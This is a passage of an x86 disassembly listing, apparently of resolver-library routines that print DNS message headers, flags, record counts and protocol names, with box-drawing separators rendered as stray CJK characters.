陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF4C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aEgp ; case 0x8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF58: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aIgp ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF64: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aNvpIi ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF70: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aPup ; case 0xc mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF7C: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aChaos ; case 0x10 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF88: ; CODE XREF: sub_805EEA4+12j ; DATA XREF: sub_805EEA4+1Co mov eax, offset aUdp ; case 0x11 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805EF94: ; CODE XREF: sub_805EEA4+Cj ; sub_805EEA4+12j ; DATA XREF: ... push edx ; default push offset aD_0 ; "%d" push offset unk_807E3C4 call sprintf mov eax, offset unk_807E3C4 mov esp, ebp pop ebp retn sub_805EEA4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805EFB0 proc near ; CODE XREF: sub_805F1DC+3FCp ; sub_805F1DC+42Ep ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_8] mov edx, [ebp+arg_18] mov edi, [ebp+arg_10] and edi, dword_80786A4 mov ax, [ebp+arg_C] xchg al, ah movzx esi, ax test esi, esi jz loc_805F14C cmp dword_80786A4, 0 jz short loc_805EFEC test edi, edi jz short loc_805EFF9 test byte ptr dword_80786A4+1, 1 jz short loc_805EFF9 loc_805EFEC: ; CODE XREF: sub_805EFB0+2Dj push edx mov ecx, [ebp+arg_14] push ecx call fprintf add esp, 8 loc_805EFF9: ; CODE XREF: sub_805EFB0+31j ; sub_805EFB0+3Aj dec esi js loc_805F110 mov eax, esi not eax and eax, 1 cmp esi, 0FFFFFFFFh jle short loc_805F010 test eax, eax jz short loc_805F068 loc_805F010: ; CODE XREF: sub_805EFB0+5Aj cmp dword_80786A4, 0 jz short loc_805F01D test edi, edi jz short loc_805F030 loc_805F01D: ; CODE XREF: sub_805EFB0+67j mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F050 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F030: ; CODE XREF: sub_805EFB0+6Bj lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F050: ; CODE XREF: sub_805EFB0+7Dj add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl loc_805F13C dec esi js loc_805F110 loc_805F068: ; CODE XREF: sub_805EFB0+5Ej ; sub_805EFB0+15Aj cmp dword_80786A4, 0 jz short loc_805F075 test edi, edi jz short loc_805F088 loc_805F075: ; CODE XREF: sub_805EFB0+BFj mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F0A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F088: ; CODE XREF: sub_805EFB0+C3j lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F0A8: ; CODE XREF: sub_805EFB0+D5j add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl loc_805F13C dec esi cmp dword_80786A4, 0 jz short loc_805F0C7 test edi, edi jz short loc_805F0DC loc_805F0C7: ; CODE XREF: sub_805EFB0+111j mov ecx, [ebp+arg_14] push ecx mov ecx, [ebp+arg_0] push ecx push ebx call sub_805F7E4 mov ebx, eax jmp short loc_805F0FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F0DC: ; CODE XREF: sub_805EFB0+115j lea eax, [ebx+0FFh] push eax push ebx call sub_804D404 lea ebx, [eax+ebx+8] push ebx call sub_804D6B8 and eax, 0FFFFh lea ebx, [eax+ebx+2] loc_805F0FC: ; CODE XREF: sub_805EFB0+127j add esp, 0Ch mov eax, ebx sub eax, [ebp+arg_0] cmp [ebp+arg_4], eax jl short loc_805F13C dec esi jns loc_805F068 loc_805F110: ; CODE XREF: sub_805EFB0+4Aj ; sub_805EFB0+B2j cmp dword_80786A4, 0 jz short loc_805F126 test edi, edi jz short loc_805F14C test byte ptr dword_80786A4+1, 1 jz short loc_805F14C loc_805F126: ; CODE XREF: sub_805EFB0+167j mov ecx, [ebp+arg_14] mov eax, [ecx+14h] cmp [ecx+18h], eax ja short loc_805F140 push 0Ah push ecx call sub_8061910 jmp short loc_805F14C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F13C: ; CODE XREF: sub_805EFB0+ABj ; sub_805EFB0+103j ... xor eax, eax jmp short loc_805F14E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F140: ; CODE XREF: sub_805EFB0+17Fj mov ecx, [ebp+arg_14] mov eax, [ecx+14h] mov byte ptr [eax], 0Ah inc dword ptr [ecx+14h] loc_805F14C: ; CODE XREF: sub_805EFB0+20j ; sub_805EFB0+16Bj ... mov eax, ebx loc_805F14E: ; CODE XREF: sub_805EFB0+18Ej lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805EFB0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F158 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_8078750 push eax call sub_805F670 mov esp, ebp pop ebp retn sub_805F158 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F170 proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] push offset aResOptions ; ";; res options:" push esi call fprintf add esp, 8 test edi, edi jnz short loc_805F193 mov edi, offset dword_8078544 loc_805F193: ; CODE XREF: sub_805F170+1Cj mov ebx, 1 loc_805F198: ; CODE XREF: sub_805F170+44j test [edi+8], ebx jz short loc_805F1B2 push ebx call sub_8060630 push eax push offset aS_0 ; " %s" push esi call fprintf add esp, 10h loc_805F1B2: ; CODE XREF: sub_805F170+2Bj add ebx, ebx jnz short loc_805F198 mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F1C8 push 0Ah push esi call sub_8061910 jmp short loc_805F1D1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F1C8: ; CODE XREF: sub_805F170+4Cj mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F1D1: ; CODE XREF: sub_805F170+56j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F170 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F1DC proc near ; CODE XREF: sub_804EA0C+63p ; sub_804EA0C+893p ... var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_8] test byte ptr dword_807854C, 1 jnz short loc_805F202 call res_init cmp eax, 0FFFFFFFFh jz loc_805F663 loc_805F202: ; CODE XREF: sub_805F1DC+16j mov edx, [ebp+arg_0] mov [ebp+var_108], edx mov ebx, edx add ebx, 0Ch mov edx, [ebp+arg_4] add edx, ebx mov [ebp+var_104], edx cmp dword_80786A4, 0 jz short loc_805F236 test byte ptr dword_80786A4+1, 8 jnz short loc_805F236 mov edx, [ebp+arg_0] test byte ptr [edx+3], 0Fh jz short loc_805F295 loc_805F236: ; CODE XREF: sub_805F1DC+46j ; sub_805F1DC+4Fj mov edx, [ebp+var_108] mov ax, [edx] xchg al, ah and eax, 0FFFFh push eax mov al, [edx+3] and eax, 0Fh mov eax, dword_8078FEC[eax*4] push eax mov al, [edx+2] shr al, 3 and eax, 0Fh mov eax, dword_8078FAC[eax*4] push eax push offset aHeaderOpcodeSS ; ";; ->>HEADER<<- opcode: %s, status: %s,"... push esi call fprintf add esp, 14h mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F28C push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F295 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F28C: ; CODE XREF: sub_805F1DC+9Ej mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F295: ; CODE XREF: sub_805F1DC+58j ; sub_805F1DC+ABj cmp dword_80786A4, 0 jz short loc_805F2A7 test byte ptr dword_80786A4+1, 8 jz short loc_805F2C5 loc_805F2A7: ; CODE XREF: sub_805F1DC+C0j mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F2BC push 3Bh push esi call sub_8061910 add esp, 8 jmp short loc_805F2C5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F2BC: ; CODE XREF: sub_805F1DC+D1j mov eax, [esi+14h] mov byte ptr [eax], 3Bh inc dword ptr [esi+14h] loc_805F2C5: ; CODE XREF: sub_805F1DC+C9j ; sub_805F1DC+DEj cmp dword_80786A4, 0 jz short loc_805F2DB test byte ptr dword_80786A4+1, 2 jz loc_805F36B loc_805F2DB: ; CODE XREF: sub_805F1DC+F0j push offset aFlags ; "; flags:" push esi call fprintf add esp, 8 mov edx, [ebp+var_108] cmp byte ptr [edx+2], 0 jge short loc_805F303 push offset aQr ; " qr" push esi call fprintf add esp, 8 loc_805F303: ; CODE XREF: sub_805F1DC+117j mov edx, [ebp+var_108] test byte ptr [edx+2], 4 jz short loc_805F31D push offset aAa ; " aa" push esi call fprintf add esp, 8 loc_805F31D: ; CODE XREF: sub_805F1DC+131j mov edx, [ebp+var_108] test byte ptr [edx+2], 2 jz short loc_805F337 push offset aTc ; " tc" push esi call fprintf add esp, 8 loc_805F337: ; CODE XREF: sub_805F1DC+14Bj mov edx, [ebp+var_108] test byte ptr [edx+2], 1 jz short loc_805F351 push offset aRd ; " rd" push esi call fprintf add esp, 8 loc_805F351: ; CODE XREF: sub_805F1DC+165j mov edx, [ebp+var_108] cmp byte ptr [edx+3], 0 jge short loc_805F36B push offset aRa ; " ra" push esi call fprintf add esp, 8 loc_805F36B: ; CODE XREF: sub_805F1DC+F9j ; sub_805F1DC+17Fj cmp dword_80786A4, 0 jz short loc_805F381 test byte ptr dword_80786A4+1, 1 jz loc_805F401 loc_805F381: ; CODE XREF: sub_805F1DC+196j mov edx, [ebp+var_108] mov ax, [edx+4] xchg al, ah and eax, 0FFFFh push eax push offset aQuesD ; "; Ques: %d" push esi call fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+6] xchg al, ah and eax, 0FFFFh push eax push offset aAnsD ; ", Ans: %d" push esi call fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+8] xchg al, ah and eax, 0FFFFh push eax push offset aAuthD ; ", Auth: %d" push esi call fprintf add esp, 0Ch mov edx, [ebp+var_108] mov ax, [edx+0Ah] xchg al, ah and eax, 0FFFFh push eax push offset aAdditD ; ", Addit: %d" push esi call fprintf add esp, 0Ch loc_805F401: ; CODE XREF: sub_805F1DC+19Fj cmp dword_80786A4, 0 jz short loc_805F413 test byte ptr dword_80786A4+1, 0Bh jz short loc_805F431 loc_805F413: ; CODE XREF: sub_805F1DC+22Cj mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F428 push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F428: ; CODE XREF: sub_805F1DC+23Dj mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F431: ; CODE XREF: sub_805F1DC+235j ; sub_805F1DC+24Aj mov edx, [ebp+var_108] mov ax, [edx+4] xchg al, ah movzx edi, ax test edi, edi jz loc_805F5B0 cmp dword_80786A4, 0 jz short loc_805F45A test byte ptr dword_80786A4, 10h jz short loc_805F468 loc_805F45A: ; CODE XREF: sub_805F1DC+273j push offset aQuestions ; ";; QUESTIONS:\n" push esi call fprintf add esp, 8 loc_805F468: ; CODE XREF: sub_805F1DC+27Cj dec edi js loc_805F5B0 nop loc_805F470: ; CODE XREF: sub_805F1DC+3CEj cmp dword_80786A4, 0 jz short loc_805F482 test byte ptr dword_80786A4, 10h jz short loc_805F490 loc_805F482: ; CODE XREF: sub_805F1DC+29Bj push offset asc_806969E ; ";;\t" push esi call fprintf add esp, 8 loc_805F490: ; CODE XREF: sub_805F1DC+2A4j cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F4AE test byte ptr dword_80786A4, 10h jz short loc_805F4C4 loc_805F4AE: ; CODE XREF: sub_805F1DC+2C7j push esi mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx push ebx call sub_805F68C mov ebx, eax add esp, 10h jmp short loc_805F4EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F4C4: ; CODE XREF: sub_805F1DC+2D0j push 100h lea eax, [ebp+var_100] push eax push ebx mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax mov edx, [ebp+arg_0] push edx call sub_804D02C add esp, 14h test eax, eax jl loc_805F658 add ebx, eax loc_805F4EE: ; CODE XREF: sub_805F1DC+2E6j test ebx, ebx jz loc_805F658 cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F514 test byte ptr dword_80786A4, 10h jz short loc_805F534 loc_805F514: ; CODE XREF: sub_805F1DC+32Dj push ebx call sub_804D6B8 and eax, 0FFFFh push eax call sub_8060004 push eax push offset aTypeS ; ", type = %s" push esi call fprintf add esp, 14h loc_805F534: ; CODE XREF: sub_805F1DC+336j add ebx, 2 cmp [ebp+var_104], ebx jbe loc_805F650 cmp dword_80786A4, 0 jz short loc_805F555 test byte ptr dword_80786A4, 10h jz short loc_805F575 loc_805F555: ; CODE XREF: sub_805F1DC+36Ej push ebx call sub_804D6B8 and eax, 0FFFFh push eax call sub_80605D0 push eax push offset aClassS ; ", class = %s\n" push esi call fprintf add esp, 14h loc_805F575: ; CODE XREF: sub_805F1DC+377j add ebx, 2 cmp dword_80786A4, 0 jz short loc_805F58A test byte ptr dword_80786A4, 10h jz short loc_805F5A9 loc_805F58A: ; CODE XREF: sub_805F1DC+3A3j mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F5A0 push 0Ah push esi call sub_8061910 add esp, 8 jmp short loc_805F5A9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F5A0: ; CODE XREF: sub_805F1DC+3B4j mov eax, [esi+14h] mov byte ptr [eax], 0Ah inc dword ptr [esi+14h] loc_805F5A9: ; CODE XREF: sub_805F1DC+3ACj ; sub_805F1DC+3C1j dec edi jns loc_805F470 loc_805F5B0: ; CODE XREF: sub_805F1DC+266j ; sub_805F1DC+28Dj cmp [ebp+var_104], ebx jbe loc_805F650 push offset aAnswers ; ";; ANSWERS:\n" push esi push 20h mov edx, [ebp+var_108] movzx eax, word ptr [edx+6] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 cmp [ebp+var_104], ebx jbe short loc_805F650 push offset aAuthorityRecor ; ";; AUTHORITY RECORDS:\n" push esi push 40h mov edx, [ebp+var_108] movzx eax, word ptr [edx+8] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 cmp [ebp+var_104], ebx jbe short loc_805F650 push offset aAdditionalReco ; ";; ADDITIONAL RECORDS:\n" push esi push 80h mov edx, [ebp+var_108] movzx eax, word ptr [edx+0Ah] push eax push ebx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_805EFB0 mov ebx, eax add esp, 1Ch test ebx, ebx jz short loc_805F658 jmp short loc_805F663 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F650: ; CODE XREF: sub_805F1DC+2BAj ; sub_805F1DC+320j ... push offset a___truncated ; "\n;; ...truncated\n" jmp short loc_805F65D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F658: ; CODE XREF: sub_805F1DC+30Aj ; sub_805F1DC+314j ... push offset a___malformed ; "\n;; ...malformed\n" loc_805F65D: ; CODE XREF: sub_805F1DC+479j push esi call fprintf loc_805F663: ; CODE XREF: sub_805F1DC+20j ; sub_805F1DC+471j lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F1DC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F670 proc near ; CODE XREF: sub_805F158+Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push 200h push edx call sub_805F1DC mov esp, ebp pop ebp retn sub_805F670 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F68C proc near ; CODE XREF: sub_805F1DC+2DCp ; sub_805F710+14p var_10C = byte ptr -10Ch var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h push edi push esi push ebx mov edi, [ebp+arg_0] mov eax, [ebp+arg_4] mov ebx, [ebp+arg_C] push 100h lea edx, [ebp+var_100] push edx push edi mov edx, eax add edx, [ebp+arg_8] push edx push eax call sub_804D02C mov esi, eax add esp, 14h test esi, esi jge short loc_805F6C8 xor eax, eax jmp short loc_805F700 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6C8: ; CODE XREF: sub_805F68C+35j cmp [ebp+var_100], 0 jnz short loc_805F6F0 mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_805F6E4 push 2Eh push ebx call sub_8061910 jmp short loc_805F6FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6E4: ; CODE XREF: sub_805F68C+4Bj mov eax, [ebx+14h] mov byte ptr [eax], 2Eh inc dword ptr [ebx+14h] jmp short loc_805F6FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F6F0: ; CODE XREF: sub_805F68C+43j push ebx lea eax, [ebp+var_100] push eax call sub_80624D0 loc_805F6FD: ; CODE XREF: sub_805F68C+55j ; sub_805F68C+61j lea eax, [esi+edi] loc_805F700: ; CODE XREF: sub_805F68C+39j lea esp, [ebp+var_10C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F68C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F710 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] push eax push 200h push edx push ecx call sub_805F68C mov esp, ebp pop ebp retn sub_805F710 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F730 proc near ; CODE XREF: sub_805F7E4+3Ap ; sub_805F7E4+3C7p ... var_110 = byte ptr -110h var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push edi push esi push ebx mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] push 100h lea edx, [ebp+var_100] push edx mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, 0FFh push edx push eax call sub_804D02C mov [ebp+var_104], eax add esp, 14h test eax, eax jge short loc_805F774 xor eax, eax jmp short loc_805F7D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F774: ; CODE XREF: sub_805F730+3Dj cmp [ebp+var_100], 0 jnz short loc_805F788 mov eax, [esi+14h] cmp [esi+18h], eax jbe short loc_805F7BA jmp short loc_805F7C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F788: ; CODE XREF: sub_805F730+4Bj push esi lea ebx, [ebp+var_100] push ebx call sub_80624D0 xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax add esp, 8 cmp byte ptr [ebp+eax+var_104+2], 2Eh jz short loc_805F7CD mov eax, [esi+14h] cmp [esi+18h], eax ja short loc_805F7C4 loc_805F7BA: ; CODE XREF: sub_805F730+53j push 2Eh push esi call sub_8061910 jmp short loc_805F7CD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805F7C4: ; CODE XREF: sub_805F730+55j ; sub_805F730+88j mov eax, [esi+14h] mov byte ptr [eax], 2Eh inc dword ptr [esi+14h] loc_805F7CD: ; CODE XREF: sub_805F730+80j ; sub_805F730+92j mov eax, [ebp+arg_0] add eax, [ebp+var_104] loc_805F7D6: ; CODE XREF: sub_805F730+41j lea esp, [ebp+var_110] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F730 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805F7E4 proc near ; CODE XREF: sub_805EFB0+76p ; sub_805EFB0+CEp ... var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_8] test byte ptr dword_807854C, 1 jnz short loc_805F818 call res_init cmp eax, 0FFFFFFFFh jnz short loc_805F818 mov ds:dword_807E788, 0FFFFFFFFh loc_805F810: ; CODE XREF: sub_805F7E4+46j ; sub_805F7E4+3D3j ... xor eax, eax jmp loc_805FFF7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805F818: ; CODE XREF: sub_805F7E4+16j ; sub_805F7E4+20j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz short loc_805F810 push esi call sub_804D6B8 